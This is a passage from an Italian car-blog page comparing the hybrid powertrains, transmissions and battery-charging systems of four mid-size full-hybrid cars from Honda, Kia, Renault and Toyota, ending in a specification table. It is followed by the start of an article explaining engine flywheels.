<p class="wp-block-paragraph">Il sistema parallelo di Kia utilizza un concetto opposto ad Honda. Il motore elettrico, unico, ha la potenza da 48cv e 170Nm di coppia. Viene inserito nella trasmissione DCT a doppia frizione e si occupa di funzionare in autonomia nelle fasi di basso carico o veleggiamento, ma anche di dare supporto in tutte le condizioni dove è richiesta potenza. Alla macchina elettrica, infatti, è dato il compito di sopperire al vuoto di potenza tipico dell&#8217;erogazione di un motore endotermico aspirato nella parte bassa dei giri, per poi lasciare al benzina il compito di allungare quando raggiunge la punta di coppia maggiore.  </p>



<p class="wp-block-paragraph">La differenza di coppa dei due propulsori si nota con un appiattimento della spinta proprio nelle fasi di allungo. In ogni caso il lavoro fatto dal motore elettrico nelle fasi inziali consente di conservare abbastanza coppia in accelerazione per restare il rapido nello scatto sullo 0-100km/h. </p>



<h2 class="wp-block-heading" id="h-renault-e-tech-elettrico-con-ampio-utilizzo">Renault e-Tech, elettrico con ampio utilizzo </h2>



<p class="wp-block-paragraph">Anche il motore elettrico di Renault eroga come la coreana solo 49cv e 205Nm di coppia. Ma i tecnici francesi, per consentire un migliore sfruttamento nelle fasi intermedie, hanno adottato una trasmissione specifica a due marce dedicata per la trazione elettrica. Questa soluzione consente alla limitata potenza di 49cv di essere spalmata su un arco di utilizzo maggiore funzionando in elettrico anche nelle fasi di medio carico e non solo in quelle di veleggiamento. </p>



<p class="wp-block-paragraph">Inoltre il sistema utilizza il moto-generatore dedicato alla carica della batteria anche come elemento di boost di potenza con 20cv e 50Nm elettrici aggiuntivi. Lasciando la gestione del sistema in automatico, con un buon utilizzo della batteria, si può anche raggiungere un livello di andatura in elettrico pari al 70% simile ad un sistema seriale puro. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/renault-e-tech-730x411.jpg" alt="renault e tech" class="wp-image-119813" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 237"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 248</figcaption></figure>



<h2 class="wp-block-heading" id="h-toyota-hsd-l-elettrico-si-bilancia-con-il-benzina">Toyota HSD, l&#8217;elettrico si bilancia con il benzina </h2>



<p class="wp-block-paragraph">Infine, la macchina elettrica Toyota è un tradizionale sincrono a magneti permanenti che eroga 72cv di potenza e 163Nm di coppia. In sostanza dove in tecnici Renault hanno dovuto lavorare sulla trasmissione per sfruttare la curva di coppia elettrica per una fascia di utilizzo più ampia, in Toyota hanno semplicemente utilizzato un motore con maggiore potenza consentendo al sistema di fare lo stesso lavoro con maggiore facilità, puntando tutto sul bilanciamento tra le parti elettriche ed endotermiche. La coppia e la potenza non vengono sommate, ma sovrapposte bilanciando al meglio prestazioni ed efficienza. Proprio un certo sbilanciamento verso l&#8217;efficienza limita il lato prestazionale che risulta il più lento del gruppo, ma il più parco nel ciclo WLTP.  </p>



<h2 class="wp-block-heading" id="h-diversi-sistemi-per-diversi-livelli-di-potenza-sistema"><strong>Diversi sistemi per diversi livelli di potenza sistema</strong></h2>



<p class="wp-block-paragraph">Spesso un errore che viene commesso dagli automobilisti che si affacciano per la prima volta alla  tecnologia Full Hybrid è quella di sommare i due livelli di potenza. Ma non è così. Gli unici sistemi che sommano la potenza sono quelli che funzionano in parallelo puro, mentre gli altri combinano le due propulsioni per ottenere il valore voluto dal progettista. Si parla, infatti, di potenza di sistema e non di sommatoria algebrica delle potenze delle due unità propulsive. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/9964ed12a8f74fa2b8b875364e1b13b3_800-730x516.jpg" alt="9964ed12a8f74fa2b8b875364e1b13b3 800" class="wp-image-119814" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 238"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 249</figcaption></figure>



<h2 class="wp-block-heading" id="h-honda-e-hev-131cv-253nm-dati-dall-elettrico">Honda e:HEV 131cv 253Nm dati dall&#8217;elettrico </h2>



<p class="wp-block-paragraph">Nel caso della Honda la potenza assoluta è data dalla componente elettrica pari come detto a 131cv e 253Nm di coppia. Questo perchè sulle ruote di trazione ci può andare o la potenza elettrica o quella endotermica. In nessun caso entrambi i propulsori forniscono insieme potenza alle ruote, quindi non è possibile sommare nemmeno in parte potenza e coppia nel risultato di sistema. </p>



<p class="wp-block-paragraph">La soluzione scelta ha Honda, per quanto possa essere appiattita nell&#8217;erogazione quando il motore elettrico raggiunge la sua fase di coppia massima non è affetto da cali, ma semmai resta costante nella spinta, indipendentemente dallo stato della batteria. Questo perchè quando questa è in difficoltà il motore benzina fornisce potenza direttamente al motore di trazione attraverso l&#8217;inverter.</p>



<h2 class="wp-block-heading" id="h-kia-141cv-e-265nm-elettrico-e-benzina-si-sommano">Kia: 141cv e 265Nm,  Elettrico e Benzina si sommano</h2>



<p class="wp-block-paragraph">L’unico sistema parallelo puro preso in esame è quello della coreana Kia. La potenza è di 141cv è 265Nm ottenuta sommando le due componenti date dai 106cv e 144Nm del motore benzina ed i 44cv e 170Nm di coppia del motore elettrico. La coppia di sistema invece, viene sovrapposta nella fase intermedia con il valore di 265Nm che non è la somma. </p>



<p class="wp-block-paragraph">Il risultato è un erogazione più simile alla guida tradizionale, congeniale ad automobilisti conservatori che possono contare sulla presenza delle classiche marce ed un sound lineare nell&#8217;erogazione. Resta, comunque, la necessità di usare al meglio la possibilità di scegliere la cambiata in modo manuale, con le palette al volante, per avere sempre il cambio marcia nella migliore condizione di coppia possibile per evitare un fastidioso effetto di erogazione a fisarmonica della potenza che cala troppo prima del cambio marcia in automatico. </p>



<h2 class="wp-block-heading" id="h-renault-e-tech-145cv-e-255nm-coppia-elettrica-con-boost-aggiuntivo">Renault e-Tech: 145cv e 255Nm, coppia elettrica con boost aggiuntivo</h2>



<p class="wp-block-paragraph">La potenza di sistema pari a 145cv e 255Nm di coppia del Renault e-Tech è ottenuta in modo particolare. Il valore di coppia corrisponde al quello espresso dalla somma dei due motori elettrici mettendo in secondo piano l&#8217;erogazione di coppia del benzina, relegato a ruolo si supporto. </p>



<p class="wp-block-paragraph">I tecnici Renault hanno imposto una logica di funzionamento in seriale come il sistema Honda e da parallelo come quello Kia. Il vero ago della bilancia è dato dal comportamento del conducente che può sbilanciare il funzionamento verso una delle due modalità sacrificando in modo eccessivo prestazioni o consumi. Nonostante le molteplici funzioni manuali e le mappature fornite dal Multi-Sense il modo migliore di far funzionare l&#8217;e-Tech è quello di lasciare fare tutto all&#8217;automatismo dimostrandosi versatile soprattutto nello sfruttamento ottimale della batteria. Se il motore benzina viene lasciato da solo la potenza, ma soprattutto la coppia, limita tanto le prestazioni nel frattempo che si recupera in carica. </p>



<h2 class="wp-block-heading" id="h-toyota-hsd-122cv-e-230nm-elettrico-e-benzina-in-perfetto-equilibrio">Toyota HSD: 122cv e 230Nm, elettrico e benzina in perfetto equilibrio </h2>



<p class="wp-block-paragraph">Toyota punta tutto sull’equilibrio con la potenza più bassa in assoluto di 122cv e 230Nm di coppia. Nel sistema HSD di quarta generazione, i due motori endotermico ed elettrico lavorano praticamente in modo sovrapposto.  Infatti i valori di 98cv e 142Nm di coppia per il benzina, ed i 72cv e 163Nm di coppia dell’elettrico non si sommano privilegiando sempre l&#8217;efficienza più che la prestazione. </p>



<p class="wp-block-paragraph">In base alla velocità di percorrenza e la pressione sul gas il sistema tende a privilegiare il funzionamento in modo seriale, ed anche quando lavora in parallelo tende a compensare unendo le prestazioni delle due unità motrici sfruttandole nella parte migliore dalla propria erogazione. Un tipo di funzionamento che premia l&#8217;utilizzo dell&#8217;auto a medio basso carico con un netto vantaggio nell&#8217;omologazione WLTP. Il conducente deve capire, e sapere, dove si trova la migliore condizione di funzionamento sacrificando all&#8217;occorrenza volontariamente la parte prestazionale per migliorare i consumi. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="623" height="226" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/t2-l1-i3.png" alt="t2 l1 i3" class="wp-image-119815" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 239" srcset="https://www.giornalemotori.com/wp-content/uploads/2022/12/t2-l1-i3.png 623w, https://www.giornalemotori.com/wp-content/uploads/2022/12/t2-l1-i3-300x109.png 300w" sizes="(max-width: 623px) 100vw, 623px" /><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 250</figcaption></figure>



<h2 class="wp-block-heading" id="h-libero-sfogo-alla-fantasia-per-le-trasmissioni"><strong>Libero sfogo alla fantasia per le trasmissioni </strong></h2>



<p class="wp-block-paragraph">Dove i tecnici delle quattro auto prese in esame si sono sbizzarriti è nella progettazione della trasmissione che resta automatica per tutte le propulsioni dal Full Hybrid. Gli schemi meccanici utilizzati per il cambio fanno sfoggio di fantasia progettuale di alto livello.</p>



<h2 class="wp-block-heading" id="h-monomarcia-per-la-potenza-elettrica-di-honda">Monomarcia per la potenza elettrica di Honda </h2>



<p class="wp-block-paragraph">Si parte dal sistema Honda che essendo paragonabile ad una vettura elettrica funziona tipicamente con un solo rapporto. Una soluzione che punta sulla semplicità, sulla compattezza e sull’efficienza. Basta aprire il vano motore della HR-V per notare come l’intero sistema di propulsione spostato al centro rispetto ad un motore endotermico tradizionale. L’assenza della scatola del cambio tradizionale oltre a consentire di migliorare la distribuzione dei pesi, consente una riduzione degli stessi sull’asse anteriore bilanciando la presenza della batteria sull’asse posteriore.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="480" height="360" src="https://www.giornalemotori.com/wp-content/uploads//2023/01/hqdefault-1.jpg" alt="hqdefault 1" class="wp-image-119925" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 240" srcset="https://www.giornalemotori.com/wp-content/uploads/2023/01/hqdefault-1.jpg 480w, https://www.giornalemotori.com/wp-content/uploads/2023/01/hqdefault-1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2023/01/hqdefault-1-265x198.jpg 265w" sizes="(max-width: 480px) 100vw, 480px" /><figcaption class="wp-element-caption">Trasmissione e:HEV</figcaption></figure>



<p class="wp-block-paragraph">Inoltre, il cambio di trazione sulle ruote dall’elettrico al benzina avviene tramite una frizione multidisco a bagno d’olio. In questo modo nella modalità Engine Mode quando la propulsione endotermica veleggia con trazione diretta, sfruttando l’unica marcia presente paragonabile ad una sesta lunga. In questo modo si utilizza l&#8217;efficienza record del i-Vtec Honda abbassando il numero di giri nella marcia autostradale migliorando efficienza in condizioni dove tutti i sistemi ibridi hanno il loro tallone di Achille.</p>



<h2 class="wp-block-heading" id="h-cambio-a-doppia-frizione-con-motore-elettrico-inserito-nella-gearbox">Cambio a doppia frizione con motore elettrico inserito nella gearbox </h2>



<p class="wp-block-paragraph">Kia adotta una soluzione per la trasmissione semplice e versatile. Il cambio si compone di un automatico a doppia frizione a sei rapporti. Nella zona anteriore della campana del cambio, dove potrebbe trovare spazio in classico convertitore di coppia, trova invece posto il motore elettrico. Un sistema semplice, adattabile ad ogni tipo di motore benzina. Soprattutto consente di utilizzare le sei marce del cambio sia in modalità automatica che in manuale utilizzando le palette al volante. In questo caso, oltre alla modularità della soluzione, l’automobilista che sceglie Kia non deve cambiare stile di guida rispetto al passato. Niente rumorosità slegata come l’Honda o effetto scooter come il Toyota. Chi guidava una Niro benzina o gasolio automatica troverà lo stesso stile di guida e lo stesso funzionamento anche per la Niro Full Hybrid.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="701" height="545" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/sdehhm7101l-1.png" alt="sdehhm7101l 1" class="wp-image-119816" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 241" srcset="https://www.giornalemotori.com/wp-content/uploads/2022/12/sdehhm7101l-1.png 701w, https://www.giornalemotori.com/wp-content/uploads/2022/12/sdehhm7101l-1-300x233.png 300w, https://www.giornalemotori.com/wp-content/uploads/2022/12/sdehhm7101l-1-696x541.png 696w" sizes="(max-width: 701px) 100vw, 701px" /><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 251</figcaption></figure>



<h2 class="wp-block-heading" id="h-cambio-ad-innesti-a-denti-e-due-marce-per-la-trazione-elettrica">Cambio ad innesti a denti e due marce per la trazione elettrica </h2>



<p class="wp-block-paragraph">I francesi di Renault, invece, hanno adottato una soluzione tecnica per la trasmissione affascinante. Il cambio a tre rapporti ad innesti a denti. La sincronizzazione dell’innesto delle marce avviene grazie al motore elettrico ausiliario, che oltre alla ricarica della batteria, ha anche il compito di allineare i due alberi su cui sono posti i rapporti per poi consentirne l’innesto.</p>



<p class="wp-block-paragraph">Una scelta tecnica complessa che riesce a coniugare leggerezza e prontezza di risposta. Infatti, il cambio marcia del sistema Multi-Mode Renault è più veloce rispetto al canonico cambio a sei rapporti della Kia con effetto scooter praticamene ridotto ma non azzerato. Nonostante la buona risposta, infatti, la versatilità si avvicina ma non riesce ad avere la stessa spinta costante che riesce a fornire l’unico rapporto di Honda.</p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/maxresdefault-730x411.jpg" alt="maxresdefault" class="wp-image-119817" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 242"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 252</figcaption></figure>



<h2 class="wp-block-heading" id="h-il-solito-epicicloidale-per-toyota">Il solito epicicloidale per Toyota </h2>



<p class="wp-block-paragraph">Ultimo, ma solo per ordine alfabetico, la trasmissione automatica epicicloidale di Toyota. Un sistema complesso il cui compito è quello di far lavorare all’unisono la spinta elettrica e quella dell’endotermico in modo coerente. Si compone di una corona esterna, un ingranaggio centrale collegato direttamente al motore endotermico e quattro planetari che mettono in collegamento a seconda della modalità di funzionamento del sistema le due parti quella interna e quella esterna.</p>



<p class="wp-block-paragraph"> Quando la vettura viaggia in modalità elettrica, la corona esterna è direttamente collegata alle ruote escludendo la parte centrale, come un rapporto unico tipicamente elettrico. La parte centrale rimane, invece,  vincolata al motore benzina ed il generatore per avere energia in batteria. Quando le due parti sono messe in collegamento si ottiene il funzionamento in parallelo del sistema. La trasmissione di Toyota è anche l&#8217;unica che non dispone di nessuna frizione di innesto per passare dalla modalità EV a quella Hybrid. </p>



<p class="wp-block-paragraph">Un vantaggio in termini di affidabilità, ma è anche l&#8217;unica delle quattro trasmissioni prese in esame che fa sentire al conducente il momento del passaggio da una modalità di funzionamento all&#8217;altro. Nel corso degli anni i tecnici giapponesi sono riusciti a limitare questo fenomeno grazie al miglioramento della gestione elettronica ed idraulica di azionamento. </p>



<h2 class="wp-block-heading" id="h-tutti-i-sistemi-sii-ricaricano-da-soli"><strong>Tutti i sistemi sii ricaricano da soli </strong></h2>



<p class="wp-block-paragraph">Essendo tutti sistemi full hybrid non hanno una carica esterna ma si autoalimentano. Anche in questo caso gli ingegneri dei vari reparti tecnici hanno trovato la soluzione che meglio riuscisse a garantire la ricarica della batteria nel modo più efficiente e duraturo.</p>



<h2 class="wp-block-heading" id="h-doppio-motore-elettrico-ad-alta-potenza-per-honda">Doppio motore elettrico ad alta potenza per Honda </h2>



<p class="wp-block-paragraph">La Honda utilizza un sistema a doppio motore elettrico. Il motore elettrico che funge da generatore è il più grande del lotto delle partecipanti ed è collegato al motore endotermico. Quando il motore benzina si accende mette in movimento la macchina elettrica ed attraverso l’inverter carica la batteria che ha una capacità di 1.1kWh. Avere un motore elettrico di grandi dimensioni e di potenza maggiore, oltre a poter sviluppare più carica della batteria in minor tempo di accensione consente di poter usare lo stesso motore elettrico come alimentazione aggiuntiva fornendo potenza al il motore elettrico da 131cv passando dall’inverter. </p>



<p class="wp-block-paragraph">Unendo all&#8217;erogazione fornita dalla batteria anche quella del motore elettrico di ricarica si può gestire al meglio la capacità della stessa ed il funzionamento in un ampio campo di utilizzo. La soluzione scelta da Honda non consente di ottenere record in termini di ciclo di omologazione WLTP ma si dimostra come la più versatile e meno influenzabile dallo stile di guida escludendo di fatto la funzione di attivazione manuale EV dell&#8217;auto.  Il sistema Honda non rimanere mai a batteria zero conservando almeno il 20% di capienza con una spinta costante in termini di erogazione di coppia alle ruote senza cali per mancanza di energia in batteria cosa che può accadere con i sistemi di tipo parallelo. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/maxresdefault-1-730x411.jpg" alt="maxresdefault 1" class="wp-image-119819" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 243"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 253</figcaption></figure>



<h2 class="wp-block-heading" id="h-honda-prevede-frenata-rigenerativa-su-quattro-livelli">Honda prevede frenata rigenerativa su quattro livelli </h2>



<p class="wp-block-paragraph">La Honda è anche l’unica ad avere il sistema di frenata rigenerativa azionabile tramite la posizione &#8220;B &#8220;della leva del cambio automatico regolabile in quattro livelli a seconda delle modalità di guida. Per come è strutturato il sistema di recupero Honda, sfruttando la sola forza frenante elettrica in modo massiccio anche nelle condizioni di marcia a singhiozzo nel traffico sfruttando al meglio la guida one-pedal come una macchina elettrica pura. </p>



<h2 class="wp-block-heading" id="h-kia-l-unico-motore-elettrica-deve-anche-ricaricare">Kia: L&#8217;unico motore elettrica deve anche ricaricare </h2>



<p class="wp-block-paragraph">La Kia utilizza invece un solo motore elettrico demandato sia alle funzioni di trazione che di ricarica. Nelle fasi di erogazione deve utilizzare l’energia presente in batteria che è anche la più grande del lotto come capienza di 1.5kWh. La ricarica avviene nelle fasi passive come rallentamento e frenate. Inoltre, quando il motore endotermico prende il sopravvento trascinandosi la macchina elettrica insieme alla trasmissione questa fornisce energia alla batteria. Un sistema di ricarica, semplice, che punta tutto sulla linearità e nella facilità di utilizzo, lasciando al conducente la possibilità di intervenire utilizzando vari livelli di frenata rigenerativa. Una funzione presa in prestito pari pari dalle sorelle Plug-In ed Electric. Quando la Niro viaggia in EV o Hybrid automatico può utilizzare la fase passiva come se fosse un auto elettrica come succede in Honda, guidando con la funzione One-Pedal. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="275" height="183" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/images-1.jpg" alt="images 1" class="wp-image-119837" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 244"><figcaption class="wp-element-caption">Kia: Motore elettrico inserito nella trasmissione </figcaption></figure>



<h2 class="wp-block-heading" id="h-secondo-piccolo-motore-elettrico-di-ricarica-per-renault-e-tech-e-toyota-hsd">Secondo, piccolo motore elettrico di ricarica, per Renault E-Tech e Toyota HSD</h2>



<p class="wp-block-paragraph">I due sistemi di Renault e Toyota invece utilizzano un ulteriore moto-generatore ad alta potenza da circa 25cv collegato al motore endotermico per fornire energia alla batteria. Nel caso del sistema francese, questo deve assolvere più funzioni. Oltre a ricaricare la batteria da 1.2kWh, deve fungere da sincronizzatore per il cambio ed offrire un boost di potenza per quando vengono chieste le massime prestazioni. Anche in questo caso esiste la possibilità di selezionare la modalità EV manuale e due funzioni Save per la batteria.</p>



<p class="wp-block-paragraph">Inoltre, è presente la frenata rigenerativa &#8220;B&#8221; selezionabile dalla leva del cambio, ma non è regolabile rispetto alla gestione della Honda. Nel sistema e-Tech a seconda de livello della batteria, consente di frenare utilizzando la guida One-Pedal senza accendere il motore benzina per generare freno motore. In ogni caso è consigliabile utilizzare la frenata rigenerativa in discesa o pendenza con effetti benefici per l&#8217;efficienza. </p>



<figure class="wp-block-image size-large"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2022/12/Toyota-Hybrid-Synergy-Drive-uses-a-planetary-power-divider-has-no-clutch-or-gear-730x447.png" alt="Toyota Hybrid Synergy Drive uses a planetary power divider has no clutch or gear" class="wp-image-119838" title="Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 245"><figcaption>Tecnica Full Hybrid II: Analisi delle tecnologie, Honda, Kia, Renault e Toyota di fascia media 254</figcaption></figure>



<p class="wp-block-paragraph">Come detto anche in Toyota utilizzano in moto-generatore ad alta potenza collegato al motore endotermico per fornire carica alla batteria da 1,4kWh. In questo caso il motore aggiuntivo si occupa solo di questa funzione. Anche in Toyota prevedono comunque la possibilità di azionare manualmente la marcia in EV e la possibilità di inserire la frenata rigenerativa &#8220;B&#8221; con un&#8217;unica modalità di funzionamento, consigliata da Toyota solo nella condizione di pendenza. </p>



<h2 class="wp-block-heading" id="h-come-leggere-la-tabella"><strong>Come leggere la tabella</strong> </h2>



<p class="wp-block-paragraph">Nella tabella sottostante, abbiamo messo in evidenza tutte le caratteristiche dei singoli sistemi. Le colonne riportano nell’ordine: La potenza del motore endotermico (ICE), la potenza Elettrica, la potenza di sistema, le prestazioni con i dati di Accelerazione e Ripresa, il consumo medio dichiarato secondo il ciclo WLTP e il rilevato dai colleghi di Motor1.com sulla tratta Roma-Forlì. Un parametro preso come esempio essendo uguale per tutti con lo stesso collaudatore al volante. Ed infine il prezzo per fare la quadra sul rapporto prestazioni/costi.</p>



<p class="wp-block-paragraph">Ciò che si evince, abbastanza facilmente, è un certo equilibrio tra le caratteristiche dei diversi sistemi. A dispetto di quanto accade con l&#8217;elettrificazione massiccia dove le vetture puramente elettriche tendo ad avere una certa uniformità tecnologica, per non parlare del conservatorismo delle motorizzazioni tradizionali, nel campo dell&#8217;ibridazione c&#8217;è ampio spazio, meno male, per la fantasia progettuale. Una varianza di tecnologie che determina il carattere e l&#8217;adattamento dell&#8217;auto al tipo di automobilista. </p>



<h2 class="wp-block-heading">Sostanziale equilibrio tecnologico e prestazionale </h2>



<p class="wp-block-paragraph">Indipendentemente dalle caratteristiche e dagli aspetti dove un sistema tende a prevalere sull&#8217;altro, i dati hanno il compito di determinare il carattere della vettura che si deve guidare. Spulciando i dati della tabella, viene esaltato il lavoro tecnologico fatto da Honda con le due unità motrici più potenti se prese separatamente. Avere maggiore potenza per entrambi i propulsori rende la HR-V incline a chi ama questo tipo di tecnologia ed è attento alle scelte tecniche avanzate. </p>



<p class="wp-block-paragraph"> Renault e Kia mostrano caratteristiche complessive migliori di potenza e coppia. Le colonne delle prestazioni mostrano une predominanza eterogena delle autovetture in esame. Stesso discorso per i consumi in termini di omologazione secondo il ciclo WLTP ed i valori nell&#8217;uso reale. Come si evince, nonostante le differenze di sistema ed i valori spesso diversi in potenza e coppia, ciò che fa prevalere una vettura rispetto ad un altra è il carattere che il costruttore ha infuso nell&#8217;utilizzo della tecnologia determinando un sostanziale livellamento. </p>



<h2 class="wp-block-heading" id="h-tabella-caratteristiche-tecniche-prestazionali-e-di-consumi">Tabella caratteristiche, tecniche, prestazionali e di consumi </h2>



<figure class="wp-block-table"><table><tbody><tr><td>Modello</td><td>Potenza ICE</td><td>Potenza elettrica</td><td>Potenza sistema</td><td>Accelerazione 0-100 km/h&nbsp;</td><td>Ripresa 80-120</td><td>Peso/Potenza <br>Peso/Coppia</td><td>Consumo Dichiarato</td><td>Consumo effettivo</td><td>Prezzo</td></tr><tr><td>Honda HR-V 1.5 e:HEV</td><td><strong>LEC3 107cv 131Nm</strong></td><td><strong>131cv 253Nm</strong></td><td>131cv 253Nm</td><td>10,5 s</td><td><strong>6,9s</strong></td><td>10,5kg/cv <br>5,5kg/Nm</td><td>5,4L/100km Comb WLTP</td><td>4,85l/100km Roma-Forlì</td><td>33.000</td></tr><tr><td>Kia Niro 1.6 GDI Hybrid DCT</td><td>G4LE 106cv 144Nm</td><td>44cv 170Nm</td><td>141CV 265Nm</td><td><strong>10,4s</strong></td><td>7,2s</td><td><strong>9,9kg/cv <br>5,3kg/Nm </strong></td><td>4,2L/100km Comb WLTP</td><td>4,40l/100km *</td><td><strong>31.000</strong></td></tr><tr><td>Renault Arkana 1.6 e-Tech</td><td>H4M632 94cv 148Nm</td><td>M.E1 49cv 205Nm M.E2 20cv 50Nm</td><td><strong>145Nm 255Nm</strong></td><td>10,8s</td><td>7,1s</td><td>10,0kg/cv<br>9,7kg/Nm</td><td>4,8L/100km Comb WLTP</td><td><strong>4,30l/100km Rome-Forlì</strong></td><td>36.450</td></tr><tr><td>Toyota CH-R 1.8 Hybrid</td><td>2ZRFXE 98cv 142Nm</td><td>72cv 163Nm</td><td>122cv 235Nm</td><td>11s</td><td>8,3s</td><td>11,6kg/cv<br>10,0kg/Nm</td><td><strong>3,8L/100km Comb WLTP</strong></td><td>4,43l/100km Roma-Forli</td><td>32.900</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><figcaption class="wp-element-caption">Tabella caratteristiche tecniche sistemi Full Hybrid: In evidenza i valori migliori per categoria e fascia  *i valori inseriti della Kia Niro per i consumi reali, sono ricavati su un percorso analogo su prove effettuate in redazione. Il valore è assolutamente paragonabile alle concorrenti </figcaption></figure>



<p class="wp-block-paragraph"></p>



<h2 class="wp-block-heading" id="h-considerazioni-finali"><strong>Considerazioni finali.</strong></h2>



<p class="wp-block-paragraph">Se chi ha letto l’analisi ed ha avuto la pazienza di arrivare a questo punto, si aspetta un vincitore o una classifica, rimarrà deluso. In effetti non è possibile decretare un vincitore assoluto tra le tecnologie prese in esame se non per le effettive esigenze personali. Dalla tabella sopra ogni lettore può prendere atto dei parametri inseriti e fare un rapporto prestazioni, consumi in relazione ai costi, secondo le necessità che più si adattano al proprio stile di guida. </p>



<p class="wp-block-paragraph">Ogni sistema analizzato ha il suo modo di essere efficiente, prestazionale ed economico. Una componente molto importante, quindi, è la comprensione per un corretto utilizzo di ciò che si compra e si guida. Questa analisi tecnica si prefigge esattamente questo scopo. Fornire, cioè, al lettore, una sorta di guida per capire cosa compra e come deve essere guidato per rendere al meglio il proprio investimento. </p>



<p class="wp-block-paragraph">Fermo restando la necessità di un approfondito test drive delle vettura. Le case prese in esame prevedono capitolati di prova approfondita prima di scegliere uno dei loro modelli. Un&#8217;opportunità fondamentale per l&#8217;automobilista alle prese con una nuova tecnologia potendo contare su una guida che lo accompagni a capire meglio ciò che guida e che deve scegliere in base alle sue esigenze. </p>
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		<title>Il volano: Funzionamento e tipologie</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 16 Oct 2022 19:41:08 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il volano è un elemento circolare posizionato sulla parte posteriore dell’albero motore di un motore endotermico. Esso che può essere composto da varie tipologie di materiale ed è contraddistinto da un determinato peso a secondo dell’utilizzo e lo scopo che deve avere il motore o l’automobile per cui viene utilizzato. Questo elemento viene ritenuto parte [&#8230;]</p>
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<p class="wp-block-paragraph">Il volano è un elemento circolare posizionato sulla parte posteriore dell’albero motore di un motore endotermico. Esso che può essere composto da varie tipologie di materiale ed è contraddistinto da un determinato peso a secondo dell’utilizzo e lo scopo che deve avere il motore o l’automobile per cui viene utilizzato. Questo elemento viene ritenuto parte integrante del meccanismo di frizione e trasmissione, inoltre nella corona esterna è ricavata una dentatura per far agganciare il pignone del motorino di avviamento.</p>



<figure class="wp-block-image size-full" id="Immagine-volano-tratta-da-auto-doc.it"><img decoding="async" width="625" height="654" src="https://www.giornalemotori.com/wp-content/uploads//2022/10/index.jpg" alt="" class="wp-image-118313" title="Il volano: Funzionamento e tipologie 255" srcset="https://www.giornalemotori.com/wp-content/uploads/2022/10/index.jpg 625w, https://www.giornalemotori.com/wp-content/uploads/2022/10/index-300x314.jpg 300w" sizes="(max-width: 625px) 100vw, 625px" /><figcaption><a href="https://www.auto-doc.it/pezzi-di-ricambio/volano-10157" target="_blank" rel="noreferrer noopener">Immagine volano tratta da auto-doc.it</a></figcaption></figure>



<p class="wp-block-paragraph">In un motore endotermico a quattro tempi, le quattro fasi non hanno la stessa velocità di funzionamento. Il compito del volano è quella di regolarizzare l&#8217;azione delle fasi attraverso l’accumulo ed il rilascio di energia cinetica nelle fasi alternate compite dai pistoni.</p>



<h2 class="wp-block-heading" id="h-regolarizzare-l-azione-del-motore"><strong>Regolarizzare l&#8217;azione del motore</strong></h2>



<p class="wp-block-paragraph">In sostanza il motore ha la massima velocità del pistone nella fase di espansione. Nelle altre tre fasi, aspirazione, compressione e scarico queste la velocità media è inferiore. Per regolarizzare questa differenza viene posto il volano. Quando il motore esegue una fase dove accelera troppo, il volano oppone resistenza, accumula energia cinetica e la rilascia nelle fasi in cui rallenta, regolarizzando il funzionamento mantenendo il regime quasi costante. </p>



<p class="wp-block-paragraph">Il materiale di cui si compone il volano cambia a seconda delle applicazioni. Dalla ghisa utilizzata nelle vecchie locomotive a vapore all&#8217;acciaio per la produzione delle automobili di serie, fino all&#8217;alluminio per motori ad alte prestazioni. Le caratteristiche di peso, dimensioni e capacità di resistenza ed inerzia per accumulare e rilasciare energia cambiano in mondo considerevole in funzione del materiale impiegato.  Un volano in alluminio ha una risposta più rapida del motore ma un funzionamento meno regolare e confortevole.</p>



<h2 class="wp-block-heading"><strong>Il volano Bi-Massa</strong></h2>



